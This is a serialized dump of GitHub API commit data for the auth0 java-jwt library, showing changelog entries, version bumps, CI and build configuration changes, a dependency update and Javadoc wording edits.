+- Improve JWT parse/decode performance [\#620](https://github.com/auth0/java-jwt/pull/620) ([noetro](https://github.com/noetro))
+
+**Fixed**
+- Fix for exp claim considered valid if equal to now [\#652](https://github.com/auth0/java-jwt/pull/652) ([jimmyjames](https://github.com/jimmyjames))
+- Code cleanup [\#642](https://github.com/auth0/java-jwt/pull/642) ([CodeDead](https://github.com/CodeDead))
+
 ## [4.2.2](https://github.com/auth0/java-jwt/tree/4.2.2) (2023-01-11)
 [Full Changelog](https://github.com/auth0/java-jwt/compare/4.2.1...4.2.2)
 u}(jA  (9391f87dc0bc2548349e2109f028d15826135ff1jA  	README.mdjA  modifiedjA  KjA  KjA  KjA  Yhttps://github.com/auth0/java-jwt/blob/b610b6635ba1ed948a06fea777eeeecca2364303/README.mdjA  Xhttps://github.com/auth0/java-jwt/raw/b610b6635ba1ed948a06fea777eeeecca2364303/README.mdjB  khttps://api.github.com/repos/auth0/java-jwt/contents/README.md?ref=b610b6635ba1ed948a06fea777eeeecca2364303jB  XZ  @@ -50,14 +50,14 @@ Add the dependency via Maven:
 <dependency>
   <groupId>com.auth0</groupId>
   <artifactId>java-jwt</artifactId>
-  <version>4.2.2</version>
+  <version>4.3.0</version>
 </dependency>
 ```
 
 or Gradle:
 
 ```gradle
-implementation 'com.auth0:java-jwt:4.2.2'
+implementation 'com.auth0:java-jwt:4.3.0'
 ```
 
 ### Create a JWTueu(a3e794feb6efd7b104ece922185ffcc3d7f4884b}(sha(a3e794feb6efd7b104ece922185ffcc3d7f4884bnode_idEC_kwDOAQtL0doAKGEzZTc5NGZlYjZlZmQ3YjEwNGVjZTkyMjE4NWZmY2MzZDdmNDg4NGIcommit}(author}(nameJim Andersonemailjimranderson@gmail.comdate2023-01-06T16:24:45Zu	committer}(jB  Jim AndersonjB  jimranderson@gmail.comjB  2023-01-06T16:24:45ZumessageDisable automated publishingtree}(jB  (ba6899bb44772921fe171466e044f3eba8162bb1url^https://api.github.com/repos/auth0/java-jwt/git/trees/ba6899bb44772921fe171466e044f3eba8162bb1uj'B  `https://api.github.com/repos/auth0/java-jwt/git/commits/a3e794feb6efd7b104ece922185ffcc3d7f4884b
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuuj'B  \https://api.github.com/repos/auth0/java-jwt/commits/a3e794feb6efd7b104ece922185ffcc3d7f4884bhtml_urlQhttps://github.com/auth0/java-jwt/commit/a3e794feb6efd7b104ece922185ffcc3d7f4884bcomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/a3e794feb6efd7b104ece922185ffcc3d7f4884b/commentsjB  }(login
jimmyjamesidJ7 jB  MDQ6VXNlcjI3NjIyNQ==
avatar_url2https://avatars.githubusercontent.com/u/276225?v=4gravatar_idh3j'B  'https://api.github.com/users/jimmyjamesj3B  https://github.com/jimmyjames
followers_url1https://api.github.com/users/jimmyjames/followers
following_url>https://api.github.com/users/jimmyjames/following{/other_user}	gists_url7https://api.github.com/users/jimmyjames/gists{/gist_id}starred_url>https://api.github.com/users/jimmyjames/starred{/owner}{/repo}subscriptions_url5https://api.github.com/users/jimmyjames/subscriptionsorganizations_url,https://api.github.com/users/jimmyjames/orgs	repos_url-https://api.github.com/users/jimmyjames/repos
events_url8https://api.github.com/users/jimmyjames/events{/privacy}received_events_url7https://api.github.com/users/jimmyjames/received_eventstypeUser
site_adminujB  }(j8B  
jimmyjamesj:B  J7 jB  MDQ6VXNlcjI3NjIyNQ==j<B  2https://avatars.githubusercontent.com/u/276225?v=4j>B  h3j'B  'https://api.github.com/users/jimmyjamesj3B  https://github.com/jimmyjamesjAB  1https://api.github.com/users/jimmyjames/followersjCB  >https://api.github.com/users/jimmyjames/following{/other_user}jEB  7https://api.github.com/users/jimmyjames/gists{/gist_id}jGB  >https://api.github.com/users/jimmyjames/starred{/owner}{/repo}jIB  5https://api.github.com/users/jimmyjames/subscriptionsjKB  ,https://api.github.com/users/jimmyjames/orgsjMB  -https://api.github.com/users/jimmyjames/reposjOB  8https://api.github.com/users/jimmyjames/events{/privacy}jQB  7https://api.github.com/users/jimmyjames/received_eventsjSB  UserjUB  uparents]}(jB  (ce1524341718eb32d4d0398e28c22ecc53f5ffa4j'B  \https://api.github.com/repos/auth0/java-jwt/commits/ce1524341718eb32d4d0398e28c22ecc53f5ffa4j3B  Qhttps://github.com/auth0/java-jwt/commit/ce1524341718eb32d4d0398e28c22ecc53f5ffa4uastats}(totalK	additionsK 	deletionsKufiles](}(jB  (af3225f8bfd5f7c68437ff2eecd2ebc7b3790606filename.circleci/config.ymlstatusmodifiedjoB  K jpB  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/a3e794feb6efd7b104ece922185ffcc3d7f4884b/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/a3e794feb6efd7b104ece922185ffcc3d7f4884b/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=a3e794feb6efd7b104ece922185ffcc3d7f4884bpatchX  @@ -1,6 +1,5 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@0
   codecov: codecov/codecov@3
 
 commands:
@@ -58,17 +57,6 @@ workflows:
   build-and-test:
     jobs:
       - build
-      - ship/java-publish:
-          prefix-tag: false
-          context:
-            - publish-gh
-            - publish-sonatype
-          filters:
-            branches:
-              only:
-                - v3
-          requires:
-            - build
   api-diff:
     jobs:
       - api-diffu}(jB  (39bd67ec7af3bf5695793ff60c9a2ede07872310juB  lib/build.gradlejwB  modifiedjoB  K jpB  KjyB  KjzB  bhttps://github.com/auth0/java-jwt/blob/a3e794feb6efd7b104ece922185ffcc3d7f4884b/lib%2Fbuild.gradlej|B  ahttps://github.com/auth0/java-jwt/raw/a3e794feb6efd7b104ece922185ffcc3d7f4884b/lib%2Fbuild.gradlej~B  thttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=a3e794feb6efd7b104ece922185ffcc3d7f4884bjB  Xr  @@ -1,21 +1,10 @@
 
-buildscript {
-    version = "3.19.3"
-}
-
 plugins {
     id 'java'
     id 'jacoco'
     id 'com.auth0.gradle.oss-library.java'
 }
 
-def signingKey = findProperty('signingKey')
-def signingKeyPwd = findProperty('signingPassword')
-
-signing {
-    useInMemoryPgpKeys(signingKey, signingKeyPwd)
-}
-
 logger.lifecycle("Using version ${version} for ${group}.${name}")
 
 oss {
@@ -24,7 +13,6 @@ oss {
     organization "auth0"
     description "Java implementation of JSON Web Token (JWT)"
     baselineCompareVersion "3.18.2"
-    skipAssertSigningConfiguration true
 
     developers {
         auth0 {ueu(bd9c8133025c9da93ce7d5f8885fea43b75c2421}(sha(bd9c8133025c9da93ce7d5f8885fea43b75c2421node_idEC_kwDOAQtL0doAKGJkOWM4MTMzMDI1YzlkYTkzY2U3ZDVmODg4NWZlYTQzYjc1YzI0MjEcommit}(author}(nameFrederik Prijckemailfrederik.prijck@auth0.comdate2022-10-10T19:35:27Zu	committer}(jB  GitHubjB  noreply@github.comjB  2022-10-10T19:35:27ZumessageUpdate config.ymltree}(jB  (c0d256465ead561c9766ad0b46aecc723ea12b81url^https://api.github.com/repos/auth0/java-jwt/git/trees/c0d256465ead561c9766ad0b46aecc723ea12b81ujB  `https://api.github.com/repos/auth0/java-jwt/git/commits/bd9c8133025c9da93ce7d5f8885fea43b75c2421
comment_countK verification}(verifiedreasonvalid	signatureX  -----BEGIN PGP SIGNATURE-----

wsBcBAABCAAQBQJjRHP/CRBK7hj4Ov3rIwAArOgIAIHtOON8nyeHaTguY8R/uNEi
EXJblY9lN5PY7N5U4uURSnwxQY4DbtWbalIkXLbQuwo1dEQkSYVqwr6Vqxt/RWQU
VGRhdurFJk219lAV8Q74oL6wWekiAFHWJXeEc0yn8mRTbd1Jfx7vH+3P/uA0ANk8
irSiGJgu24OrkSDSlpjN5o2I01QGwnOgkHYU28lTavmMefTElNRNzNmPbxNPQo2j
upu+TeWc5YjVPDHjU9TEHA6ZFEBdv2KwFH0GLeCtrbwPw0FyECaoQPOazpYR85Jg
DOnsl38vsxnAE6rlbItej3Qs2gx0Vj8fVAkJdyReHVNbUPauRAQG6hM+UbVNgos=
=KAmy
-----END PGP SIGNATURE-----
payloadtree c0d256465ead561c9766ad0b46aecc723ea12b81
parent 245c019bd20bb479b68f220d576e5ad78cae9779
author Frederik Prijck <frederik.prijck@auth0.com> 1665430527 +0200
committer GitHub <noreply@github.com> 1665430527 +0200

Update config.ymluujB  \https://api.github.com/repos/auth0/java-jwt/commits/bd9c8133025c9da93ce7d5f8885fea43b75c2421html_urlQhttps://github.com/auth0/java-jwt/commit/bd9c8133025c9da93ce7d5f8885fea43b75c2421comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/bd9c8133025c9da93ce7d5f8885fea43b75c2421/commentsjB  }(loginfrederikprijckidJW  jB  MDQ6VXNlcjIxNDY5MDM=
avatar_url3https://avatars.githubusercontent.com/u/2146903?v=4gravatar_idh3jB  +https://api.github.com/users/frederikprijckjB  !https://github.com/frederikprijck
followers_url5https://api.github.com/users/frederikprijck/followers
following_urlBhttps://api.github.com/users/frederikprijck/following{/other_user}	gists_url;https://api.github.com/users/frederikprijck/gists{/gist_id}starred_urlBhttps://api.github.com/users/frederikprijck/starred{/owner}{/repo}subscriptions_url9https://api.github.com/users/frederikprijck/subscriptionsorganizations_url0https://api.github.com/users/frederikprijck/orgs	repos_url1https://api.github.com/users/frederikprijck/repos
events_url<https://api.github.com/users/frederikprijck/events{/privacy}received_events_url;https://api.github.com/users/frederikprijck/received_eventstypeUser
site_adminujB  }(jB  web-flowjB  J/jB  MDQ6VXNlcjE5ODY0NDQ3jB  4https://avatars.githubusercontent.com/u/19864447?v=4jB  h3jB  %https://api.github.com/users/web-flowjB  https://github.com/web-flowjB  /https://api.github.com/users/web-flow/followersjB  <https://api.github.com/users/web-flow/following{/other_user}jB  5https://api.github.com/users/web-flow/gists{/gist_id}jB  <https://api.github.com/users/web-flow/starred{/owner}{/repo}jB  3https://api.github.com/users/web-flow/subscriptionsjB  *https://api.github.com/users/web-flow/orgsjB  +https://api.github.com/users/web-flow/reposjB  6https://api.github.com/users/web-flow/events{/privacy}jB  5https://api.github.com/users/web-flow/received_eventsjB  UserjB  uparents]}(jB  (245c019bd20bb479b68f220d576e5ad78cae9779jB  \https://api.github.com/repos/auth0/java-jwt/commits/245c019bd20bb479b68f220d576e5ad78cae9779jB  Qhttps://github.com/auth0/java-jwt/commit/245c019bd20bb479b68f220d576e5ad78cae9779uastats}(totalK	additionsK	deletionsKufiles]}(jB  (6a313263005793ae3b94f125b5f69e25c1565a1cfilename.circleci/config.ymlstatusmodifiedjB  KjB  KchangesKblob_urlfhttps://github.com/auth0/java-jwt/blob/bd9c8133025c9da93ce7d5f8885fea43b75c2421/.circleci%2Fconfig.ymlraw_urlehttps://github.com/auth0/java-jwt/raw/bd9c8133025c9da93ce7d5f8885fea43b75c2421/.circleci%2Fconfig.ymlcontents_urlxhttps://api.github.com/repos/auth0/java-jwt/contents/.circleci%2Fconfig.yml?ref=bd9c8133025c9da93ce7d5f8885fea43b75c2421patchXd  @@ -1,6 +1,6 @@
 version: 2.1
 orbs:
-  ship: auth0/ship@dev:9412fdc
+  ship: auth0/ship@dev:d4bf2df
   codecov: codecov/codecov@3
 
 commands:
@@ -59,7 +59,6 @@ workflows:
       - build
       - ship/java-publish:
           prefix-tag: false
-          package-name: java-jwt
           context:
             - publish-gh
             - publish-sonatypeuau(9d079de53bc53c9cac44560b4c348fe876379896}(sha(9d079de53bc53c9cac44560b4c348fe876379896node_idEC_kwDOAQtL0doAKDlkMDc5ZGU1M2JjNTNjOWNhYzQ0NTYwYjRjMzQ4ZmU4NzYzNzk4OTYcommit}(author}(name	Evan Simsemailevan.sims@auth0.comdate2022-03-13T17:19:55Zu	committer}(jC  
Poovamraj T Tj
C  poovamraj@gmail.comjC  2022-03-16T11:37:06ZumessageBump `jackson-databind` dependency to 2.13.2 (#542)

* Bump `jackson-databind` dependency to 2.13

* Update build.gradle

* Update build.gradletree}(jC  (e17ce683eb45a6e1c6f297f893090164653f74a0url^https://api.github.com/repos/auth0/java-jwt/git/trees/e17ce683eb45a6e1c6f297f893090164653f74a0ujC  `https://api.github.com/repos/auth0/java-jwt/git/commits/9d079de53bc53c9cac44560b4c348fe876379896
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujC  \https://api.github.com/repos/auth0/java-jwt/commits/9d079de53bc53c9cac44560b4c348fe876379896html_urlQhttps://github.com/auth0/java-jwt/commit/9d079de53bc53c9cac44560b4c348fe876379896comments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/9d079de53bc53c9cac44560b4c348fe876379896/commentsj	C  }(loginevansimsidMjC  MDQ6VXNlcjMwOTM=
avatar_url0https://avatars.githubusercontent.com/u/3093?v=4gravatar_idh3jC  %https://api.github.com/users/evansimsj'C  https://github.com/evansims
followers_url/https://api.github.com/users/evansims/followers
following_url<https://api.github.com/users/evansims/following{/other_user}	gists_url5https://api.github.com/users/evansims/gists{/gist_id}starred_url<https://api.github.com/users/evansims/starred{/owner}{/repo}subscriptions_url3https://api.github.com/users/evansims/subscriptionsorganizations_url*https://api.github.com/users/evansims/orgs	repos_url+https://api.github.com/users/evansims/repos
events_url6https://api.github.com/users/evansims/events{/privacy}received_events_url5https://api.github.com/users/evansims/received_eventstypeUser
site_adminujC  }(j,C  	poovamrajj.C  J jC  MDQ6VXNlcjE1OTEwNDI1j0C  4https://avatars.githubusercontent.com/u/15910425?v=4j2C  h3jC  &https://api.github.com/users/poovamrajj'C  https://github.com/poovamrajj5C  0https://api.github.com/users/poovamraj/followersj7C  =https://api.github.com/users/poovamraj/following{/other_user}j9C  6https://api.github.com/users/poovamraj/gists{/gist_id}j;C  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}j=C  4https://api.github.com/users/poovamraj/subscriptionsj?C  +https://api.github.com/users/poovamraj/orgsjAC  ,https://api.github.com/users/poovamraj/reposjCC  7https://api.github.com/users/poovamraj/events{/privacy}jEC  6https://api.github.com/users/poovamraj/received_eventsjGC  UserjIC  uparents]}(jC  (fef3ccf0e03b4557faa110432466c631c0cc3fffjC  \https://api.github.com/repos/auth0/java-jwt/commits/fef3ccf0e03b4557faa110432466c631c0cc3fffj'C  Qhttps://github.com/auth0/java-jwt/commit/fef3ccf0e03b4557faa110432466c631c0cc3fffuastats}(totalK	additionsK	deletionsKufiles]}(jC  (a83ccbc50965b52768a2dbf6d1b575a50babb11efilenamelib/build.gradlestatusmodifiedjcC  KjdC  KchangesKblob_urlbhttps://github.com/auth0/java-jwt/blob/9d079de53bc53c9cac44560b4c348fe876379896/lib%2Fbuild.gradleraw_urlahttps://github.com/auth0/java-jwt/raw/9d079de53bc53c9cac44560b4c348fe876379896/lib%2Fbuild.gradlecontents_urlthttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fbuild.gradle?ref=9d079de53bc53c9cac44560b4c348fe876379896patchX0  @@ -47,7 +47,7 @@ javadoc {
 }
 
 dependencies {
-    implementation 'com.fasterxml.jackson.core:jackson-databind:2.12.6'
+    implementation 'com.fasterxml.jackson.core:jackson-databind:2.13.2'
 
     testImplementation 'org.bouncycastle:bcprov-jdk15on:1.70'
     testImplementation 'junit:junit:4.13.2'uau(e6565cecb1049c43f5dee0df5a0d545cc369c74e}(sha(e6565cecb1049c43f5dee0df5a0d545cc369c74enode_idEC_kwDOAQtL0doAKGU2NTY1Y2VjYjEwNDljNDNmNWRlZTBkZjVhMGQ1NDVjYzM2OWM3NGUcommit}(author}(name
Poovamraj T Temailpoovamraj@gmail.comdate2022-04-20T13:35:43Zu	committer}(jC  
Poovamraj T TjC  poovamraj@gmail.comjC  2022-04-20T14:03:18ZumessageJavaDoc updatedtree}(jxC  (afcce352eed46edb9edd4fdff02b13c87c2feb5durl^https://api.github.com/repos/auth0/java-jwt/git/trees/afcce352eed46edb9edd4fdff02b13c87c2feb5dujC  `https://api.github.com/repos/auth0/java-jwt/git/commits/e6565cecb1049c43f5dee0df5a0d545cc369c74e
comment_countK verification}(verifiedreasonunsigned	signatureNpayloadNuujC  \https://api.github.com/repos/auth0/java-jwt/commits/e6565cecb1049c43f5dee0df5a0d545cc369c74ehtml_urlQhttps://github.com/auth0/java-jwt/commit/e6565cecb1049c43f5dee0df5a0d545cc369c74ecomments_urlehttps://api.github.com/repos/auth0/java-jwt/commits/e6565cecb1049c43f5dee0df5a0d545cc369c74e/commentsj~C  }(login	poovamrajidJ jzC  MDQ6VXNlcjE1OTEwNDI1
avatar_url4https://avatars.githubusercontent.com/u/15910425?v=4gravatar_idh3jC  &https://api.github.com/users/poovamrajjC  https://github.com/poovamraj
followers_url0https://api.github.com/users/poovamraj/followers
following_url=https://api.github.com/users/poovamraj/following{/other_user}	gists_url6https://api.github.com/users/poovamraj/gists{/gist_id}starred_url=https://api.github.com/users/poovamraj/starred{/owner}{/repo}subscriptions_url4https://api.github.com/users/poovamraj/subscriptionsorganizations_url+https://api.github.com/users/poovamraj/orgs	repos_url,https://api.github.com/users/poovamraj/repos
events_url7https://api.github.com/users/poovamraj/events{/privacy}received_events_url6https://api.github.com/users/poovamraj/received_eventstypeUser
site_adminujC  }(jC  	poovamrajjC  J jzC  MDQ6VXNlcjE1OTEwNDI1jC  4https://avatars.githubusercontent.com/u/15910425?v=4jC  h3jC  &https://api.github.com/users/poovamrajjC  https://github.com/poovamrajjC  0https://api.github.com/users/poovamraj/followersjC  =https://api.github.com/users/poovamraj/following{/other_user}jC  6https://api.github.com/users/poovamraj/gists{/gist_id}jC  =https://api.github.com/users/poovamraj/starred{/owner}{/repo}jC  4https://api.github.com/users/poovamraj/subscriptionsjC  +https://api.github.com/users/poovamraj/orgsjC  ,https://api.github.com/users/poovamraj/reposjC  7https://api.github.com/users/poovamraj/events{/privacy}jC  6https://api.github.com/users/poovamraj/received_eventsjC  UserjC  uparents]}(jxC  (8131361c0a24413aa57499b307d233294b83b3edjC  \https://api.github.com/repos/auth0/java-jwt/commits/8131361c0a24413aa57499b307d233294b83b3edjC  Qhttps://github.com/auth0/java-jwt/commit/8131361c0a24413aa57499b307d233294b83b3eduastats}(totalK	additionsKY	deletionsKUufiles](}(jxC  (7af3c442102b4fda2ada66bf39944161415af03ffilename1lib/src/main/java/com/auth0/jwt/HeaderParams.javastatusmodifiedjC  KjC  KchangesKblob_urlhttps://github.com/auth0/java-jwt/blob/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javaraw_urlhttps://github.com/auth0/java-jwt/raw/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.javacontents_urlhttps://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FHeaderParams.java?ref=e6565cecb1049c43f5dee0df5a0d545cc369c74epatchXh  @@ -13,12 +13,12 @@ private HeaderParams() {}
     public static String ALGORITHM = "alg";
 
     /**
-     * The content type of a JWT.
+     * The content type of the JWT.
      */
     public static String CONTENT_TYPE = "cty";
 
     /**
-     * The media type of a JWT.
+     * The media type of the JWT.
      */
     public static String TYPE = "typ";
 u}(jxC  (696abe4001c80b35a3c06626aa1bb4e2a6dbfab2jC  (lib/src/main/java/com/auth0/jwt/JWT.javajC  modifiedjC  KjC  KjC  KjC  https://github.com/auth0/java-jwt/blob/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javajC  https://github.com/auth0/java-jwt/raw/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWT.java?ref=e6565cecb1049c43f5dee0df5a0d545cc369c74ejC  X  @@ -26,7 +26,7 @@ public JWT() {
      * Decode a given Json Web Token.
      * <p>
      * Note that this method <b>doesn't verify the token's signature!</b>
-     * Use it only if you trust the token or you already verified it.
+     * Use it only if you trust the token or if you have already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
@@ -41,7 +41,7 @@ public DecodedJWT decodeJwt(String token) throws JWTDecodeException {
      * Decode a given Json Web Token.
      * <p>
      * Note that this method <b>doesn't verify the token's signature!</b>
-     * Use it only if you trust the token or you already verified it.
+     * Use it only if you trust the token or if you have already verified it.
      *
      * @param token with jwt format as string.
      * @return a decoded JWT.
@@ -53,10 +53,10 @@ public static DecodedJWT decode(String token) throws JWTDecodeException {
     }
 
     /**
-     * Returns a {@link JWTVerifier} builder with the algorithm to be used to validate token signature.
+     * Returns a {@link Verification} builder with the algorithm to be used to validate token signature.
      *
      * @param algorithm that will be used to verify the token's signature.
-     * @return {@link JWTVerifier} builder
+     * @return {@link Verification} builder
      * @throws IllegalArgumentException if the provided algorithm is null.
      */
     public static Verification require(Algorithm algorithm) {u}(jxC  (256249823059647a8526d996e453ba20680e8190jC  /lib/src/main/java/com/auth0/jwt/JWTCreator.javajC  modifiedjC  KjC  K jC  KjC  https://github.com/auth0/java-jwt/blob/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javajC  https://github.com/auth0/java-jwt/raw/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTCreator.java?ref=e6565cecb1049c43f5dee0df5a0d545cc369c74ejC  X  @@ -19,6 +19,8 @@
  * from a given Header and Payload content.
  * <p>
  * This class is thread-safe.
+ *
+ * TODO Poovam - Should we claim thread safety since KeyProvider implementation can cause signing differ
  */
 @SuppressWarnings("WeakerAccess")
 public final class JWTCreator {u}(jxC  (0bc17fb195e45ed7da8c026fcf3143faf0895005jC  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javajC  modifiedjC  KjC  KjC  KjC  https://github.com/auth0/java-jwt/blob/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javajC  https://github.com/auth0/java-jwt/raw/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=e6565cecb1049c43f5dee0df5a0d545cc369c74ejC  X  @@ -35,10 +35,10 @@ public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     }
 
     /**
-     * Initialize a JWTVerifier instance using the given Algorithm.
+     * Initialize a {@link Verification} instance using the given Algorithm.
      *
      * @param algorithm the Algorithm to use on the JWT verification.
-     * @return a JWTVerifier.Verification instance to configure.
+     * @return a {@link Verification} instance to configure.
      * @throws IllegalArgumentException if the provided algorithm is null.
      */
     static Verification init(Algorithm algorithm) throws IllegalArgumentException {u}(jxC  (8c47eb51b2c01d309aaa21a2dfb265d86d3409b0jC  5lib/src/main/java/com/auth0/jwt/RegisteredClaims.javajC  modifiedjC  KjC  KjC  K	jC  https://github.com/auth0/java-jwt/blob/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javajC  https://github.com/auth0/java-jwt/raw/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FRegisteredClaims.java?ref=e6565cecb1049c43f5dee0df5a0d545cc369c74ejC  X%	  @@ -1,7 +1,7 @@
 package com.auth0.jwt;
 
 /**
- * Contains constants representing the name of the Registered Claim Names as defined in Section 4.1.1 of
+ * Contains constants representing the name of the Registered Claim Names as defined in Section 4.1 of
  * <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1">RFC 7529</a>
  */
 public final class RegisteredClaims {
@@ -11,37 +11,44 @@ private RegisteredClaims() {
 
     /**
      * The "iss" (issuer) claim identifies the principal that issued the JWT.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.1">Section 4.1.1</a>
      */
     public static String ISSUER = "iss";
 
     /**
      * The "sub" (subject) claim identifies the principal that is the subject of the JWT.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.2">Section 4.1.2</a>
      */
     public static String SUBJECT = "sub";
 
     /**
      * The "aud" (audience) claim identifies the recipients that the JWT is intended for.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.3">Section 4.1.3</a>
      */
     public static String AUDIENCE = "aud";
 
     /**
      * The "exp" (expiration time) claim identifies the expiration time on or after which the JWT MUST NOT be
      * accepted for processing.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.4">Section 4.1.4</a>
      */
     public static String EXPIRES_AT = "exp";
 
     /**
      * The "nbf" (not before) claim identifies the time before which the JWT MUST NOT be accepted for processing.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.5">Section 4.1.5</a>
      */
     public static String NOT_BEFORE = "nbf";
 
     /**
      * The "iat" (issued at) claim identifies the time at which the JWT was issued.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.6">Section 4.1.6</a>
      */
     public static String ISSUED_AT = "iat";
 
     /**
      * The "jti" (JWT ID) claim provides a unique identifier for the JWT.
+     * Refer RFC 7529 <a href="https://datatracker.ietf.org/doc/html/rfc7519#section-4.1.7">Section 4.1.7</a>
      */
     public static String JWT_ID = "jti";
 u~     }(jxC  (24fe37b797291d232f76e63e5015240f36d26f60jC  ;lib/src/main/java/com/auth0/jwt/impl/PayloadSerializer.javajC  modifiedjC  K jC  KjC  KjC  https://github.com/auth0/java-jwt/blob/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javajC  https://github.com/auth0/java-jwt/raw/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Fimpl%2FPayloadSerializer.java?ref=e6565cecb1049c43f5dee0df5a0d545cc369c74ejC  X  @@ -34,8 +34,6 @@ protected void writeClaim(Map.Entry<String, Object> entry, JsonGenerator gen) th
      * Audience may be a list of strings or a single string. This is needed to properly handle the aud claim when
      * added with the {@linkplain com.auth0.jwt.JWTCreator.Builder#withPayload(Map)} method.
      */
-
-    //
     private void writeAudience(JsonGenerator gen, Map.Entry<String, Object> e) throws IOException {
         if (e.getValue() instanceof String) {
             gen.writeFieldName(e.getKey());u}(jxC  (7c4da4f7f48b03fbd0308c94d860bd9fe175b4aajC  5lib/src/main/java/com/auth0/jwt/interfaces/Claim.javajC  modifiedjC  K
jC  K
jC  KjC  https://github.com/auth0/java-jwt/blob/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javajC  https://github.com/auth0/java-jwt/raw/e6565cecb1049c43f5dee0df5a0d545cc369c74e/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.javajC  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Finterfaces%2FClaim.java?ref=e6565cecb1049c43f5dee0df5a0d545cc369c74ejC  X  @@ -22,63 +22,63 @@ public interface Claim {
 
     /**
      * Can be used to verify whether the Claim is found or not.
-     * This will be true even if the Claim has null value associated to it.
+     * This will be true even if the Claim has {@code null} value associated to it.
      *
      * @return whether this Claim is present or not
      */
     boolean isMissing();
 
     /**
      * Get this Claim as a Boolean.
-     * If the value isn't of type Boolean or it can't be converted to a Boolean, null will be returned.
+     * If the value isn't of type Boolean or it can't be converted to a Boolean, {@code null} will be returned.
      *
      * @return the value as a Boolean or null.
      */
     Boolean asBoolean();
 
     /**
      * Get this Claim as an Integer.
-     * If the value isn't of type Integer or it can't be converted to an Integer, null will be returned.
+     * If the value isn't of type Integer or it can't be converted to an Integer, {@code null} will be returned.
      *
      * @return the value as an Integer or null.
      */
     Integer asInt();
 
     /**
      * Get this Claim as an Long.
-     * If the value isn't of type Long or it can't be converted to an Long, null will be returned.
+     * If the value isn't of type Long or it can't be converted to a Long, {@code null} will be returned.
      *
      * @return the value as an Long or null.
      */
     Long asLong();
 
     /**
      * Get this Claim as a Double.
-     * If the value isn't of type Double or it can't be converted to a Double, null will be returned.
+     * If the value isn't of type Double or it can't be converted to a Double, {@code null} will be returned.
      *
